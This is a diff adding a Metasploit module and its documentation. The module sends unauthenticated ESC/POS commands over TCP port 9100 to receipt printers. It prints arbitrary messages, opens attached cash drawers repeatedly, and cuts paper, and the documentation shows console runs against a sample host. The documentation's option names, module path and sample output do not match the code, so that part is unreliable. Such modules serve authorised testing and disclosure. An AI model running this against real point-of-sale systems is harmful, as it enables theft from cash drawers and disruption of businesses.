diff --git a/documentation/modules/auxiliary/admin/printer/escpos_tcp_command_injector.md b/documentation/modules/auxiliary/admin/printer/escpos_tcp_command_injector.md new file mode 100644 index 0000000000000..6af3bc8dbda97 --- /dev/null +++ b/documentation/modules/auxiliary/admin/printer/escpos_tcp_command_injector.md @@ -0,0 +1,115 @@ +## Vulnerable Application + +This module targets networked ESC/POS compatible printers that listen for raw commands on TCP port 9100. +The vulnerability is a lack of authentication and access control on this port, allowing anyone with +network access to send unauthenticated ESC/POS commands. The module exploits this by sending crafted +command sequences to inject custom print jobs, trigger the cash drawer, or manipulate the paper feed, +effectively taking control of the printer's physical functions. + + +- **Printer Model:** Any Epson-compatible printer exposing the ESC/POS command set +on TCP port 9100. + +- **Protocol:** ESC/POS over TCP. + +- **CVE:** Submitted for Epson-compatible thermal printers; awaiting assignment. + + + +## Verification Steps + + + +1. **Load the module:** + use auxiliary/scanner/printer/escpos_tcp_command_injector + +2. **Set required options:** + set RHOST + +3. **Choose an action:** + You can either print a message, trigger the drawer, or do both. + - To print a message, set `PRINT_MESSAGE` to `true` and a `MESSAGE` string. + - To trigger the drawer, set `TRIGGER_DRAWER` to `true`. + - To do both, set both flags to `true`. + +4. **Execute the module:** + run + +--- + + +## Options + +### MESSAGE + +This option specifies the text to be sent to the printer. + +* **Description:** The string of text you want the printer to output. It is only required when `PRINT_MESSAGE` is set to `true`. +* **Default:** "PWNED" +* **Example:** `set MESSAGE "Printing this now"` + +### PRINT_MESSAGE + +This boolean option controls whether a message is printed to the printer. + +* **Description:** When set to `true`, the module will send the `MESSAGE` string to the printer. +* **Default:** `false` +* **Example:** `set PRINT_MESSAGE true` + +### TRIGGER_DRAWER + +This boolean option controls whether the module sends a command to open the cash drawer. + +* **Description:** When set to `true`, the module will send the appropriate ESC/POS command to trigger the cash drawer. +* **Default:** `false` +* **Example:** `set TRIGGER_DRAWER true` + + + +## Scenarios + +### Example 1: Printing a Simple Message + +This example shows how to use the module to send a simple text message to a network-connected ESC/POS printer. + +msf6 > use auxiliary/scanner/printer/escpos_tcp_command_injector +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200 +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set PRINT_MESSAGE true +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > run + +[*] Sending print message to 192.168.1.200... +[+] Printed message to 192.168.1.200 + +### Example 2: Triggering the Cash Drawer + +This scenario demonstrates the use of the `TRIGGER_DRAWER` option to send the specific +ESC/POS command to open a cash drawer connected to the printer. + +msf6 > use auxiliary/scanner/printer/escpos_tcp_command_injector +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200 +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set TRIGGER_DRAWER true +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > run + +[*] Triggering cash drawer 2 times on 192.168.1.200... +[+] Triggered cash drawer on 192.168.1.200 + +### Example 3: Doing Both + +This example shows how to use both options to print a message and trigger the drawer in a single run. + +msf6 > use auxiliary/scanner/printer/escpos_tcp_command_injector +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set RHOSTS 192.168.1.200 +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set PRINT_MESSAGE true +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set TRIGGER_DRAWER true +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > set MESSAGE "Both commands sent!" +msf6 auxiliary(scanner/printer/escpos_tcp_command_injector) > run + +[*] Sending print message to 192.168.1.200... +[+] Printed message to 192.168.1.200 +[*] Triggering cash drawer 2 times on 192.168.1.200... +[+] Triggered cash drawer on 192.168.1.200 + + +This module has been tested against a physical Epson-compatible receipt printer and +verified to print custom messages and trigger the cash drawer. +For additional device compatibility, refer to the ESC/POS protocol documentation. diff --git a/modules/auxiliary/admin/printer/escpos_tcp_command_injector.rb b/modules/auxiliary/admin/printer/escpos_tcp_command_injector.rb new file mode 100644 index 0000000000000..955893da7fd46 --- /dev/null +++ b/modules/auxiliary/admin/printer/escpos_tcp_command_injector.rb @@ -0,0 +1,109 @@ +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ESC/POS Printer Command Injector', + 'Description' => %q{ + This module exploits an unauthenticated ESC/POS command vulnerability in networked Epson-compatible printers. + You can print a custom message, trigger the attached cash drawer, or cut the paper. + }, + 'Author' => ['FutileSkills'], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'https://github.com/futileskills/Security-Advisory'] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, PHYSICAL_EFFECTS] + } + ) + ) + + register_options( + [ + Opt::RPORT(9100), + OptEnum.new('ACTION', [true, 'The action to perform', 'PRINT', ['PRINT', 'DRAWER', 'CUT']]), + OptString.new('MESSAGE', [false, 'Message to print (for the PRINT action)', 'PWNED']), + OptInt.new('DRAWER_COUNT', [false, 'Number of times to trigger the drawer (for the DRAWER action)', 1]), + OptInt.new('FEED_LINES', [false, 'Number of lines to feed before cutting (for the CUT action)', 5]) + ] + ) + end + + # ESC/POS command to trigger the cash drawer + DRAWER_COMMAND = "\x1b\x70\x00\x19\x32".freeze + # ESC/POS command to feed lines + FEED_COMMAND = "\x1b\x64".freeze + # ESC/POS command to cut paper (full cut) + CUT_COMMAND = "\x1d\x56\x42\x00".freeze + + def run + connect + print_status("Connected to printer at #{rhost}") + + case datastore['ACTION'] + when 'PRINT' + handle_print + when 'DRAWER' + handle_drawer + when 'CUT' + handle_cut + end + rescue ::Rex::ConnectionError + print_error("Failed to connect to #{rhost}") + ensure + disconnect + end + + private + + def handle_print + message = datastore['MESSAGE'] + if message.to_s.empty? + print_error("No message specified for the 'PRINT' action.") + return + end + + # Break down ESC/POS commands for readability + initialize_printer = "\x1b\x40" + center_align = "\x1b\x61\x01" + double_size_text = "\x1d\x21\x11" + normal_size_text = "\x1d\x21\x00" + left_align = "\x1b\x61\x00" + + print_commands = initialize_printer + + center_align + + double_size_text + + message + + normal_size_text + "\n" + + left_align + "\n\n" + + sock.put(print_commands) + print_good("Printed message: '#{message}'") + end + + def handle_drawer + drawer_count = datastore['DRAWER_COUNT'].to_i.clamp(1, 10) + print_status("Triggering cash drawer #{drawer_count} times...") + drawer_count.times do + sock.put(DRAWER_COMMAND) + sleep(0.5) + end + print_good('Triggered cash drawer.') + end + + def handle_cut + feed_lines = datastore['FEED_LINES'].to_i.clamp(1, 100) + print_status("Feeding #{feed_lines} lines and cutting paper...") + sock.put(FEED_COMMAND + [feed_lines].pack('C')) + sock.put(CUT_COMMAND) + print_good('Paper fed and cut.') + end +end